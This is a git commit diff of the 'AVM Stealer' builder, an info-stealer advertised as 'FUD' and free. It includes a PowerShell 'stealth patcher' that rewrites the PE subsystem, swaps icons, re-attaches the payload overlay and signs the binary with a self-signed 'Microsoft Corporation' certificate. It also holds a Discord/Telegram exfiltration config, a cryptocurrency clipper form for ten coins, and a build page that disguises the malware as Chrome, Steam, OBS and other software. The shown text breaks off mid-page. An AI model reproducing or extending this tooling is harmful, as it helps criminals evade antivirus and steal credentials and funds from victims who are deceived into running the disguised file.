initial commit
@@ -0,0 +1,32 @@
|
||||
{
|
||||
"name": "rxc",
|
||||
"version": "1.0.0",
|
||||
"description": "",
|
||||
"main": "index.js",
|
||||
"bin": "index.js",
|
||||
"pkg": {
|
||||
"assets": [
|
||||
"node_modules/sqlite3/build/**/*",
|
||||
"node_modules/archiver/**/*",
|
||||
"node_modules/axios/**/*"
|
||||
],
|
||||
"targets": []
|
||||
},
|
||||
"scripts": {
|
||||
"test": "echo \"Error: no test specified\" && exit 1"
|
||||
},
|
||||
"keywords": [],
|
||||
"author": "",
|
||||
"license": "ISC",
|
||||
"dependencies": {
|
||||
"archiver": "^7.0.1",
|
||||
"axios": "^1.6.7",
|
||||
"colors": "^1.4.0",
|
||||
"form-data": "^4.0.0",
|
||||
"resedit-cli": "^2.1.0",
|
||||
"sqlite3": "^5.1.7"
|
||||
},
|
||||
"devDependencies": {
|
||||
"pkg": "^5.3.2"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,225 @@
|
||||
|
||||
param(
|
||||
[string]$ExePath,
|
||||
[string]$IconPath,
|
||||
[string]$CompanyName = "Microsoft Corporation"
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ExePath = (Resolve-Path $ExePath).Path
|
||||
|
||||
Write-Host "`n[+] INITIALIZING UNIFIED STEALH PATCHER" -ForegroundColor Cyan
|
||||
|
||||
$code = @"
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Collections.Generic;
|
||||
|
||||
public class Win32 {
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern IntPtr BeginUpdateResource(string pFileName, bool bDeleteExistingResources);
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool UpdateResource(IntPtr hUpdate, IntPtr lpType, IntPtr lpName, ushort wLanguage, byte[] lpData, uint cbData);
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool EndUpdateResource(IntPtr hUpdate, bool fDiscard);
|
||||
[DllImport("imagehlp.dll")]
|
||||
public static extern IntPtr MapFileAndCheckSum(string Filename, out uint HeaderSum, out uint CheckSum);
|
||||
|
||||
public static void SetGuiSubsystem(string path) {
|
||||
using (var fs = new FileStream(path, FileMode.Open, FileAccess.ReadWrite)) {
|
||||
BinaryReader br = new BinaryReader(fs);
|
||||
fs.Seek(0x3C, SeekOrigin.Begin);
|
||||
int pe = br.ReadInt32();
|
||||
fs.Seek(pe + 0x5C, SeekOrigin.Begin);
|
||||
fs.WriteByte(2);
|
||||
}
|
||||
}
|
||||
|
||||
public static void RemoveIconResources(IntPtr hUpdate) {
|
||||
for (ushort i = 1; i < 15; i++) {
|
||||
UpdateResource(hUpdate, (IntPtr)14, (IntPtr)i, 1033, null, 0);
|
||||
UpdateResource(hUpdate, (IntPtr)3, (IntPtr)i, 1033, null, 0);
|
||||
}
|
||||
}
|
||||
|
||||
public static void InjectIcon(string exe, string ico) {
|
||||
if (!File.Exists(ico)) throw new FileNotFoundException("Icon file not found", ico);
|
||||
|
||||
byte[] file = File.ReadAllBytes(ico);
|
||||
if (file.Length < 22) throw new InvalidDataException("Icon file is too small/invalid header.");
|
||||
|
||||
ushort count = BitConverter.ToUInt16(file, 4);
|
||||
if (file.Length < 6 + (count * 16)) throw new InvalidDataException("Icon header declares " + count + " entries, but file is too small.");
|
||||
|
||||
IntPtr h = BeginUpdateResource(exe, false);
|
||||
if (h == IntPtr.Zero) throw new Exception("Failed to open executable resource handle.");
|
||||
|
||||
List<byte> gDir = new List<byte> { 0, 0, 1, 0 };
|
||||
gDir.AddRange(BitConverter.GetBytes(count));
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
int off = 6 + (i * 16);
|
||||
if (off + 16 > file.Length) throw new InvalidDataException("Icon entry " + i + " offset out of bounds.");
|
||||
|
||||
uint sz = BitConverter.ToUInt32(file, off + 8);
|
||||
uint imgOff = BitConverter.ToUInt32(file, off + 12);
|
||||
|
||||
// Validation: Ensure valid image data range
|
||||
if (imgOff + sz > file.Length) {
|
||||
Console.WriteLine("[Warning] Skipping Icon " + i + ": Image data out of bounds (Offset: " + imgOff + ", Size: " + sz + ", FileLen: " + file.Length + ")");
|
||||
continue;
|
||||
}
|
||||
|
||||
ushort id = (ushort)(i + 1);
|
||||
byte[] entry = new byte[14];
|
||||
Array.Copy(file, off, entry, 0, 12);
|
||||
Array.Copy(BitConverter.GetBytes(id), 0, entry, 12, 2);
|
||||
gDir.AddRange(entry);
|
||||
|
||||
byte[] img = new byte[sz];
|
||||
Array.Copy(file, (int)imgOff, img, 0, (int)sz);
|
||||
|
||||
if (!UpdateResource(h, (IntPtr)3, (IntPtr)id, 1033, img, sz)) {
|
||||
Console.WriteLine("[Warning] Failed to update resource icon " + id);
|
||||
}
|
||||
}
|
||||
UpdateResource(h, (IntPtr)14, (IntPtr)1, 1033, gDir.ToArray(), (uint)gDir.Count);
|
||||
EndUpdateResource(h, false);
|
||||
}
|
||||
|
||||
public static void FixSum(string path) {
|
||||
uint h, c;
|
||||
MapFileAndCheckSum(path, out h, out c);
|
||||
using (var fs = new FileStream(path, FileMode.Open, FileAccess.ReadWrite)) {
|
||||
BinaryReader br = new BinaryReader(fs);
|
||||
fs.Seek(0x3C, SeekOrigin.Begin);
|
||||
int pe = br.ReadInt32();
|
||||
fs.Seek(pe + 88, SeekOrigin.Begin);
|
||||
fs.Write(BitConverter.GetBytes(c), 0, 4);
|
||||
}
|
||||
}
|
||||
|
||||
public static long[] GetOverlayInfo(string path) {
|
||||
using (var fs = new FileStream(path, FileMode.Open, FileAccess.Read)) {
|
||||
var br = new BinaryReader(fs);
|
||||
fs.Seek(0x3C, SeekOrigin.Begin);
|
||||
int pe = br.ReadInt32();
|
||||
fs.Seek(pe + 6, SeekOrigin.Begin);
|
||||
int n = br.ReadUInt16();
|
||||
fs.Seek(pe + 20, SeekOrigin.Begin);
|
||||
int szOpt = br.ReadUInt16();
|
||||
int tab = pe + 24 + szOpt;
|
||||
long maxSec = 0;
|
||||
for (int i = 0; i < n; i++) {
|
||||
fs.Seek(tab + (i * 40) + 16, SeekOrigin.Begin);
|
||||
uint sz = br.ReadUInt32();
|
||||
uint ptr = br.ReadUInt32();
|
||||
if (ptr + sz > maxSec) maxSec = ptr + sz;
|
||||
}
|
||||
fs.Seek(pe + 24, SeekOrigin.Begin);
|
||||
bool is64 = (br.ReadUInt16() == 0x20b);
|
||||
int baseDir = is64 ? 112 : 96;
|
||||
fs.Seek(pe + 24 + baseDir + 32, SeekOrigin.Begin);
|
||||
uint sAddr = br.ReadUInt32();
|
||||
uint sSize = br.ReadUInt32();
|
||||
long endSig = maxSec;
|
||||
if (sAddr >= maxSec && sSize > 0) endSig = sAddr + sSize;
|
||||
return new long[] { maxSec, endSig };
|
||||
}
|
||||
}
|
||||
}
|
||||
"@
|
||||
|
||||
if (-not ([System.Management.Automation.PSTypeName]"Win32").Type) { Add-Type -TypeDefinition $code -Language CSharp }
|
||||
|
||||
|
||||
Write-Host "[:] Applying mandatory GUI patch..." -ForegroundColor Cyan
|
||||
[Win32]::SetGuiSubsystem($ExePath)
|
||||
|
||||
|
||||
if ($IconPath -and (Test-Path $IconPath)) {
|
||||
Write-Host "[:] Applying Icons and Metadata..." -ForegroundColor Cyan
|
||||
|
||||
$Info = [Win32]::GetOverlayInfo($ExePath)
|
||||
$EndOfSections = $Info[0]
|
||||
$EndOfSignature = $Info[1]
|
||||
$PayloadStart = $EndOfSignature
|
||||
|
||||
Write-Host "[:] Detected Payload Start: $PayloadStart" -ForegroundColor DarkGray
|
||||
if ($PayloadStart -lt 100000) {
|
||||
# Assuming payload is at least 100KB
|
||||
Write-Error "CRITICAL: Payload start detection failed (Value too low: $PayloadStart). Aborting to prevent corruption."
|
||||
exit 1
|
||||
}
|
||||
|
||||
$TmpHead = "$ExePath.header.tmp"
|
||||
$SrcStream = [System.IO.File]::OpenRead($ExePath)
|
||||
try {
|
||||
if ($SrcStream.Length -lt $PayloadStart) {
|
||||
Write-Error "CRITICAL: Source file is smaller than detected payload start! (File: $($SrcStream.Length), PayloadStart: $PayloadStart)"
|
||||
exit 1
|
||||
}
|
||||
|
||||
$HeadBytes = [byte[]]::new($EndOfSections)
|
||||
$null = $SrcStream.Read($HeadBytes, 0, $EndOfSections)
|
||||
[System.IO.File]::WriteAllBytes($TmpHead, $HeadBytes)
|
||||
}
|
||||
finally { $SrcStream.Close() }
|
||||
|
||||
$hDel = [Win32]::BeginUpdateResource($TmpHead, $false)
|
||||
if ($hDel -eq [IntPtr]::Zero) {
|
||||
Write-Error "CRITICAL: Failed to open resource handle for $TmpHead"
|
||||
exit 1
|
||||
}
|
||||
[Win32]::RemoveIconResources($hDel)
|
||||
[Win32]::EndUpdateResource($hDel, $false)
|
||||
|
||||
try {
|
||||
[Win32]::InjectIcon($TmpHead, (Resolve-Path $IconPath).Path)
|
||||
}
|
||||
catch {
|
||||
Write-Warning "ICON INJECTION FAILED: $($_.Exception.Message)"
|
||||
Write-Warning "Proceeding without Custom Icon..."
|
||||
}
|
||||
|
||||
$NewSize = (Get-Item $TmpHead).Length
|
||||
if ($NewSize -gt $PayloadStart) {
|
||||
$b = [System.IO.File]::ReadAllBytes($TmpHead)
|
||||
[System.Array]::Resize([ref]$b, $PayloadStart)
|
||||
[System.IO.File]::WriteAllBytes($TmpHead, $b)
|
||||
}
|
||||
|
||||
$b = [System.IO.File]::ReadAllBytes($TmpHead)
|
||||
$pe = [BitConverter]::ToInt32($b, 0x3C)
|
||||
$secOff = if ([BitConverter]::ToUInt16($b, $pe + 24) -eq 0x20b) { 144 } else { 128 }
|
||||
[Array]::Clear($b, $pe + 24 + $secOff, 8)
|
||||
[System.IO.File]::WriteAllBytes($TmpHead, $b)
|
||||
|
||||
$OutExe = "$ExePath.patched"
|
||||
$OutStream = [System.IO.File]::Create($OutExe)
|
||||
$HeadStream = [System.IO.File]::OpenRead($TmpHead)
|
||||
$PayloadStream = [System.IO.File]::OpenRead($ExePath)
|
||||
try {
|
||||
$HeadStream.CopyTo($OutStream)
|
||||
if ($OutStream.Position -lt $PayloadStart) {
|
||||
$Diff = $PayloadStart - $OutStream.Position
|
||||
$pad = [byte[]]::new($Diff)
|
||||
$OutStream.Write($pad, 0, $Diff)
|
||||
}
|
||||
$PayloadStream.Seek($PayloadStart, [System.IO.SeekOrigin]::Begin)
|
||||
$PayloadStream.CopyTo($OutStream)
|
||||
}
|
||||
finally {
|
||||
$HeadStream.Close(); $PayloadStream.Close(); $OutStream.Close()
|
||||
Remove-Item $TmpHead -Force
|
||||
}
|
||||
Move-Item $OutExe $ExePath -Force
|
||||
}
|
||||
|
||||
[Win32]::FixSum($ExePath)
|
||||
Write-Host "[:] Signing binary..." -ForegroundColor Cyan
|
||||
$cert = New-SelfSignedCertificate -Type CodeSigningCert -Subject "CN=$CompanyName" -CertStoreLocation "Cert:\CurrentUser\My" -NotAfter (Get-Date).AddYears(1)
|
||||
Set-AuthenticodeSignature -FilePath $ExePath -Certificate $cert -HashAlgorithm SHA256 | Out-Null
|
||||
|
||||
Write-Host "[OK] Success: Patch applied (GUI + Resources + Signature)." -ForegroundColor Green
|
||||
@@ -0,0 +1,4 @@
|
||||
Thank you for using AVM Stealer!<br>
|
||||
This is a free, FUD, and open-source stealer, if you buy this you get scammed.<br>
|
||||
If you like the project, don't forgot to leave a star on the GitHub repository.<br>
|
||||
Join our Telegram community if you need help or suggest ideas to improve our stealer. <br>
|
||||
@@ -0,0 +1,5 @@
|
||||
{
|
||||
"discordWebhookURL": "",
|
||||
"telegramBotToken": "",
|
||||
"telegramChatID": ""
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
const { app, BrowserWindow, ipcMain } = require('electron');
|
||||
const path = require('path');
|
||||
const fs = require('fs');
|
||||
const { exec } = require('child_process');
|
||||
|
||||
function createWindow() {
|
||||
const mainWindow = new BrowserWindow({
|
||||
width: 1100,
|
||||
height: 600,
|
||||
icon: path.join(__dirname, 'src/style/img/icon.ico'),
|
||||
webPreferences: {
|
||||
nodeIntegration: true,
|
||||
contextIsolation: false,
|
||||
},
|
||||
backgroundColor: '#0b0d17'
|
||||
});
|
||||
|
||||
mainWindow.loadFile(path.join(__dirname, 'src/index.html'));
|
||||
mainWindow.setMenuBarVisibility(false);
|
||||
|
||||
}
|
||||
|
||||
app.on('ready', createWindow);
|
||||
|
||||
app.on('window-all-closed', () => {
|
||||
if (process.platform !== 'darwin') {
|
||||
app.quit();
|
||||
}
|
||||
});
|
||||
|
||||
app.on('activate', () => {
|
||||
if (BrowserWindow.getAllWindows().length === 0) {
|
||||
createWindow();
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
ipcMain.handle('save-info', async (event, data) => {
|
||||
const filePath = path.join(app.getPath('userData'), 'settings.json');
|
||||
|
||||
try {
|
||||
fs.writeFileSync(filePath, JSON.stringify(data, null, 2), 'utf-8');
|
||||
return filePath;
|
||||
} catch (error) {
|
||||
throw new Error('Failed to save information: ' + error.message);
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.handle('get-info', async () => {
|
||||
const filePath = path.join(app.getPath('userData'), 'settings.json');
|
||||
try {
|
||||
if (fs.existsSync(filePath)) {
|
||||
const data = fs.readFileSync(filePath, 'utf-8');
|
||||
return JSON.parse(data);
|
||||
}
|
||||
return null;
|
||||
} catch (error) {
|
||||
console.error('Failed to load information:', error);
|
||||
return null;
|
||||
}
|
||||
});
|
||||
|
||||
ipcMain.handle('open-file-dialog', async (event, options) => {
|
||||
const { dialog } = require('electron');
|
||||
return await dialog.showOpenDialog(options);
|
||||
});
|
||||
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"name": "avm-builder",
|
||||
"version": "2.0",
|
||||
"description": "",
|
||||
"main": "main.js",
|
||||
"scripts": {
|
||||
"start": "electron .",
|
||||
"test": "echo \"Error: no test specified\" && exit 1"
|
||||
},
|
||||
"author": "Adapters",
|
||||
"license": "GPL-3.0-only",
|
||||
"devDependencies": {
|
||||
"electron": "^23.3.13",
|
||||
"electron-builder": "^24.13.3"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="stylesheet" href="style/style_about.css">
|
||||
<link rel="stylesheet" href="style/style_notification.css">
|
||||
<link rel="stylesheet" href="style/style_transitions.css">
|
||||
<link href='https://unpkg.com/[email protected]/css/boxicons.min.css' rel='stylesheet'>
|
||||
<title>AVM Stealer Builder</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- Sidebar -->
|
||||
<nav class="sidebar">
|
||||
<div class="logo-menu">
|
||||
<h2 class="logo">AVM Stealer</h2>
|
||||
<i class="bx bx-menu toggle-btn"></i>
|
||||
</div>
|
||||
<ul class="list">
|
||||
<li class="list-item">
|
||||
<a href="index.html">
|
||||
<i class='bx bx-grid-alt'></i>
|
||||
<span class="link_name" style="--i:1">Features</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="binder.html">
|
||||
<i class='bx bx-wallet'></i>
|
||||
<span class="link_name" style="--i:2">Clipper</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="info.html">
|
||||
<i class='bx bx-detail bx-flip-horizontal'></i>
|
||||
<span class="link_name" style="--i:3">Log info</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="build.html">
|
||||
<i class="bx bx-check-shield"></i>
|
||||
<span class="link_name" style="--i:4">Build</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item active">
|
||||
<a href="about.html">
|
||||
<i class='bx bx-info-circle bx-flashing'></i>
|
||||
<span class="link_name" style="--i:5">About</span>
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</nav>
|
||||
|
||||
<div class="container">
|
||||
<div class="maintitle">
|
||||
<h1><i class='bx bx-message-rounded-dots'></i> About</h1>
|
||||
</div>
|
||||
<div class="text-background">
|
||||
<b>
|
||||
<p id="about-text"></p>
|
||||
</b>
|
||||
</div>
|
||||
</div>
|
||||
<div class="button-container">
|
||||
<button class="linkButton" id="github-link"><i class='bx bxl-github'></i></button>
|
||||
<button class="linkButton" id="telegram-link"><i class='bx bxl-telegram'></i></button>
|
||||
</div>
|
||||
<script src="scripts/script_notification.js"></script>
|
||||
<script src="scripts/script_transitions.js"></script>
|
||||
<script src="scripts/script_about.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,203 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="stylesheet" href="style/style_binder.css">
|
||||
<link rel="stylesheet" href="style/style_notification.css">
|
||||
<link rel="stylesheet" href="style/style_transitions.css">
|
||||
<link href='https://unpkg.com/[email protected]/css/boxicons.min.css' rel='stylesheet'>
|
||||
<title>AVM Stealer Builder</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- Sidebar -->
|
||||
<nav class="sidebar">
|
||||
<div class="logo-menu">
|
||||
<h2 class="logo">AVM Stealer</h2>
|
||||
<i class="bx bx-menu toggle-btn"></i>
|
||||
</div>
|
||||
<ul class="list">
|
||||
<li class="list-item">
|
||||
<a href="index.html">
|
||||
<i class='bx bx-grid-alt'></i>
|
||||
<span class="link_name" style="--i:1">Features</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item active">
|
||||
<a href="binder.html">
|
||||
<i class='bx bx-wallet bx-flashing'></i>
|
||||
<span class="link_name" style="--i:2">Clipper</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="info.html">
|
||||
<i class='bx bx-detail bx-flip-horizontal'></i>
|
||||
<span class="link_name" style="--i:3">Log info</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="build.html">
|
||||
<i class="bx bx-check-shield"></i>
|
||||
<span class="link_name" style="--i:4">Build</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="about.html">
|
||||
<i class='bx bx-info-circle'></i>
|
||||
<span class="link_name" style="--i:5">About</span>
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</nav>
|
||||
|
||||
<div class="container">
|
||||
<!-- Background with blur effect -->
|
||||
<div class="background-blur"></div>
|
||||
|
||||
<div class="maintitle">
|
||||
<h1><i class='bx bx-wallet'></i> AVM Clipper</h1>
|
||||
<button id="helpButton" class="help-button">
|
||||
<i class='bx bx-info-circle'></i>Help
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div class="clipper-grid">
|
||||
<!-- BTC -->
|
||||
<div class="crypto-item" data-currency="btc">
|
||||
<div class="crypto-header">
|
||||
<i class='bx bxl-bitcoin'></i>
|
||||
<span>Bitcoin (BTC)</span>
|
||||
</div>
|
||||
<div class="input-wrapper">
|
||||
<input type="text" id="btc" placeholder="Address...">
|
||||
<div class="error-bubble">Invalid BTC Address!</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ETH -->
|
||||
<div class="crypto-item" data-currency="eth">
|
||||
<div class="crypto-header">
|
||||
<i class='bx bxl-ethereum'></i>
|
||||
<span>Ethereum (ETH/ERC20)</span>
|
||||
</div>
|
||||
<div class="input-wrapper">
|
||||
<input type="text" id="eth" placeholder="Address...">
|
||||
<div class="error-bubble">Invalid ETH Address!</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- LTC -->
|
||||
<div class="crypto-item" data-currency="ltc">
|
||||
<div class="crypto-header">
|
||||
<i class='bx bx-coin'></i>
|
||||
<span>Litecoin (LTC)</span>
|
||||
</div>
|
||||
<div class="input-wrapper">
|
||||
<input type="text" id="ltc" placeholder="Address...">
|
||||
<div class="error-bubble">Invalid LTC Address!</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- TRX -->
|
||||
<div class="crypto-item" data-currency="trx">
|
||||
<div class="crypto-header">
|
||||
<i class='bx bx-diamond'></i>
|
||||
<span>Tron (TRX/TRC20)</span>
|
||||
</div>
|
||||
<div class="input-wrapper">
|
||||
<input type="text" id="trx" placeholder="Address...">
|
||||
<div class="error-bubble">Invalid TRX Address!</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- BCH -->
|
||||
<div class="crypto-item" data-currency="bch">
|
||||
<div class="crypto-header">
|
||||
<i class='bx bx-money'></i>
|
||||
<span>Bitcoin Cash (BCH)</span>
|
||||
</div>
|
||||
<div class="input-wrapper">
|
||||
<input type="text" id="bch" placeholder="Address...">
|
||||
<div class="error-bubble">Invalid BCH Address!</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- XMR -->
|
||||
<div class="crypto-item" data-currency="xmr">
|
||||
<div class="crypto-header">
|
||||
<i class='bx bx-shield-quarter'></i>
|
||||
<span>Monero (XMR)</span>
|
||||
</div>
|
||||
<div class="input-wrapper">
|
||||
<input type="text" id="xmr" placeholder="Address...">
|
||||
<div class="error-bubble">Invalid XMR Address!</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- XRP -->
|
||||
<div class="crypto-item" data-currency="xrp">
|
||||
<div class="crypto-header">
|
||||
<i class='bx bx-transfer'></i>
|
||||
<span>Ripple (XRP)</span>
|
||||
</div>
|
||||
<div class="input-wrapper">
|
||||
<input type="text" id="xrp" placeholder="Address...">
|
||||
<div class="error-bubble">Invalid XRP Address!</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- ZCASH -->
|
||||
<div class="crypto-item" data-currency="zcash">
|
||||
<div class="crypto-header">
|
||||
<i class='bx bx-lock-alt'></i>
|
||||
<span>Zcash (ZEC)</span>
|
||||
</div>
|
||||
<div class="input-wrapper">
|
||||
<input type="text" id="zcash" placeholder="Address...">
|
||||
<div class="error-bubble">Invalid Zcash Address!</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- DOGE -->
|
||||
<div class="crypto-item" data-currency="doge">
|
||||
<div class="crypto-header">
|
||||
<i class='bx bxs-dog'></i>
|
||||
<span>Dogecoin (DOGE)</span>
|
||||
</div>
|
||||
<div class="input-wrapper">
|
||||
<input type="text" id="doge" placeholder="Address...">
|
||||
<div class="error-bubble">Invalid Doge Address!</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- SOL -->
|
||||
<div class="crypto-item" data-currency="sol">
|
||||
<div class="crypto-header">
|
||||
<i class='bx bx-sun'></i>
|
||||
<span>Solana (SOL)</span>
|
||||
</div>
|
||||
<div class="input-wrapper">
|
||||
<input type="text" id="sol" placeholder="Address...">
|
||||
<div class="error-bubble">Invalid SOL Address!</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="button-container">
|
||||
<label class="selectButton" id="saveButton">
|
||||
Save Clipper <i class='bx bx-save'></i>
|
||||
</label>
|
||||
|
||||
<label class="selectButton" id="resetButton">
|
||||
Clear All <i class='bx bx-trash'></i>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script src="scripts/script_notification.js"></script>
|
||||
<script src="scripts/script_transitions.js"></script>
|
||||
<script src="scripts/script_binder.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,188 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="stylesheet" href="style/style_build.css">
|
||||
<link rel="stylesheet" href="style/style_notification.css">
|
||||
<link rel="stylesheet" href="style/style_transitions.css">
|
||||
<link rel="stylesheet" href="style/style_modal.css">
|
||||
<link href='https://unpkg.com/[email protected]/css/boxicons.min.css' rel='stylesheet'>
|
||||
<title>AVM Stealer Builder</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- Sidebar -->
|
||||
<nav class="sidebar">
|
||||
<div class="logo-menu">
|
||||
<h2 class="logo">AVM Stealer</h2>
|
||||
<i class="bx bx-menu toggle-btn"></i>
|
||||
</div>
|
||||
<ul class="list">
|
||||
<li class="list-item">
|
||||
<a href="index.html">
|
||||
<i class='bx bx-grid-alt'></i>
|
||||
<span class="link_name" style="--i:1">Features</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="binder.html">
|
||||
<i class='bx bx-wallet'></i>
|
||||
<span class="link_name" style="--i:2">Clipper</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="info.html">
|
||||
<i class='bx bx-detail bx-flip-horizontal'></i>
|
||||
<span class="link_name" style="--i:3">Log info</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item active">
|
||||
<a href="build.html">
|
||||
<i class="bx bx-check-shield bx-flashing"></i>
|
||||
<span class="link_name" style="--i:4">Build</span>
|
||||
</a>
|
||||
</li>
|
||||
<li class="list-item">
|
||||
<a href="about.html">
|
||||
<i class='bx bx-info-circle'></i>
|
||||
<span class="link_name" style="--i:5">About</span>
|
||||
</a>
|
||||
</li>
|
||||
</ul>
|
||||
</nav>
|
||||
|
||||
<div class="container">
|
||||
<div class="maintitle">
|
||||
<h1><i class="bx bx-check-shield"></i> AVM Builder</h1>
|
||||
<div class="header-buttons">
|
||||
<button id="helpButton" class="help-button" style="display: none;">
|
||||
<i class='bx bx-edit'></i> Ressources
|
||||
</button>
|
||||
<button id="newButton" class="new-button" style="display: none;">
|
||||
<i class='bx bx-file-blank'></i> Default App
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="outputContainer">
|
||||
<div class="outputBox" id="outputBox">
|
||||
<div class="log-message">[<span style="color: rgb(155, 155, 155)"> + </span>] AVM - Builder - Version
|
||||
[0.1]</div>
|
||||
<div class="log-message">[<span style="color: rgb(155, 155, 155)"> + </span>] Press "Build" button to
|
||||
continue...
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<label class="selectButton" for="fileInput">Build <i class='bx bx-check-circle'> </i></label>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
<!-- Resource Editor Modal -->
|
||||
<div id="resourceModal" class="modal">
|
||||
<div class="modal-content glass-effect">
|
||||
<div class="modal-header">
|
||||
<h2><i class='bx bx-edit'></i> EXE Resources Settings</h2>
|
||||
<span class="close-modal"><i class='bx bx-x'></i></span>
|
||||
</div>
|
||||
|
||||
<div class="modal-body">
|
||||
<!-- Left Column: Metadata -->
|
||||
<div class="metadata-section">
|
||||
<div class="input-group">
|
||||
<label>Product Name</label>
|
||||
<input type="text" id="inputProductName" placeholder="e.g. Google Chrome">
|
||||
</div>
|
||||
<div class="input-group">
|
||||
<label>Company Name</label>
|
||||
<input type="text" id="inputCompanyName" placeholder="e.g. Google LLC">
|
||||
</div>
|
||||
<div class="input-group">
|
||||
<label>File Description</label>
|
||||
<input type="text" id="inputDescription" placeholder="e.g. Chrome Setup">
|
||||
</div>
|
||||
<div class="input-group">
|
||||
<label>File Version</label>
|
||||
<input type="text" id="inputFileVersion" placeholder="1.0.0.0">
|
||||
</div>
|
||||
<div class="input-group">
|
||||
<label>Product Version</label>
|
||||
<input type="text" id="inputProductVersion" placeholder="1.0.0.0">
|
||||
</div>
|
||||
<div class="input-group">
|
||||
<label>Copyright</label>
|
||||
<input type="text" id="inputCopyright" placeholder="© 2024 All rights reserved">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Right Column: Icons -->
|
||||
<div class="icon-column">
|
||||
<!-- Preview Area -->
|
||||
<div class="preview-box">
|
||||
<div class="current-icon-wrapper">
|
||||
<img id="iconPreview" src="" class="current-icon" style="display:none;">
|
||||
<i class='bx bx-image placeholder-icon' style="font-size: 40px; color: #555;"></i>
|
||||
</div>
|
||||
<p id="selectedIconName" class="file-name-display">No icon selected</p>
|
||||
|
||||
<div class="icon-actions">
|
||||
<button id="btnChooseIcon" class="icon-btn">
|
||||
<i class='bx bx-folder-open'></i> Browse...
|
||||
</button>
|
||||
<button id="btnRandomIcon" class="icon-btn">
|
||||
<i class='bx bx-shuffle'></i> Random
|
||||
</button>
|
||||
</div>
|
||||
<input type="file" id="iconFileInput" accept=".ico" style="display: none;">
|
||||
</div>
|
||||
|
||||
<!-- Predefined Grid -->
|
||||
<div class="predefined-section">
|
||||
<h3>Predefined Icons</h3>
|
||||
<div class="icon-grid">
|
||||
<div class="grid-item" data-filename="chrome.ico" title="Chrome">
|
||||
<img src="../../icon/chrome.ico" alt="chrome">
|
||||
</div>
|
||||
<div class="grid-item" data-filename="setup.ico" title="Setup">
|
||||
<img src="../../icon/setup.ico" alt="setup">
|
||||
</div>
|
||||
<div class="grid-item" data-filename="epic games.ico" title="Epic Games">
|
||||
<img src="../../icon/epic games.ico" alt="epic games">
|
||||
</div>
|
||||
<div class="grid-item" data-filename="steam.ico" title="Steam">
|
||||
<img src="../../icon/steam.ico" alt="steam">
|
||||
</div>
|
||||
<div class="grid-item" data-filename="obs.ico" title="OBS Studio">
|
||||
<img src="../../icon/obs.ico" alt="obs">
|
||||
</div>
|
||||
<div class="grid-item" data-filename="bitcoin.ico" title="Bitcoin Core">
|
||||
<img src="../../icon/bitcoin.ico" alt="bitcoin">
|
||||
</div>
|
||||
<div class="grid-item" data-filename="systeminformer.ico" title="System Informer">
|
||||
<img src="../../icon/systeminformer.ico" alt="system informer">
|
||||
</div>
|
||||
<div class="grid-item" data-filename="HWiNFO.ico" title="HWiNFO64">
|
||||
<img src="../../icon/HWiNFO.ico" alt="HWiNFO">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Action Button moved here for alignment -->
|
||||
